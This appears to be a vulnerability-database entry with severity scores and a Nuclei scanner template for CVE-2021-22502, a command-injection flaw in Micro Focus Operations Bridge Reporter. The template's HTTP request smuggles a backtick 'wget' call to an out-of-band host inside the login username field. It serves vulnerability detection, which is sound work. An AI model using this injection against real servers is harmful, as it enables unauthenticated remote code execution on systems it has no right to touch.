Micro Focus Operations Bridge Reporter - Remote Code Execution

2021-03-0302:29:45

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.961 High

EPSS

Percentile

99.5%

JSON

Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

id: CVE-2021-22502

info:
  name: Micro Focus Operations Bridge Reporter - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  remediation: |
    Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
    - https://softwaresupport.softwaregrp.com/doc/KM03775947
    - https://www.zerodayinitiative.com/advisories/ZDI-21-153/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22502
    - https://www.zerodayinitiative.com/advisories/ZDI-21-154/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22502
    cwe-id: CWE-78
    epss-score: 0.95993
    epss-percentile: 0.99434
    cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microfocus
    product: operation_bridge_reporter
  tags: cve2021,cve,microfocus,obr,rce,kev

http:
  - raw:
      - |
        POST /AdminService/urest/v1/LogonResource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"userName":"something `wget {{interactsh-url}}`","credential":"whatever"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - "An error occurred"
          - "AUTHENTICATION_FAILED"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 401
# digest: 4b0a00483046022100ed38ca4d38ee6a8827ce0cb424c58a1c6f7273942f72850e30a51a47a8ced4e80221009e6de8be7a1e2e0bca9cba77fac3f7d24b41648cf318f9678bc391420570f366:922c64590222798bb761d5b6d8e72950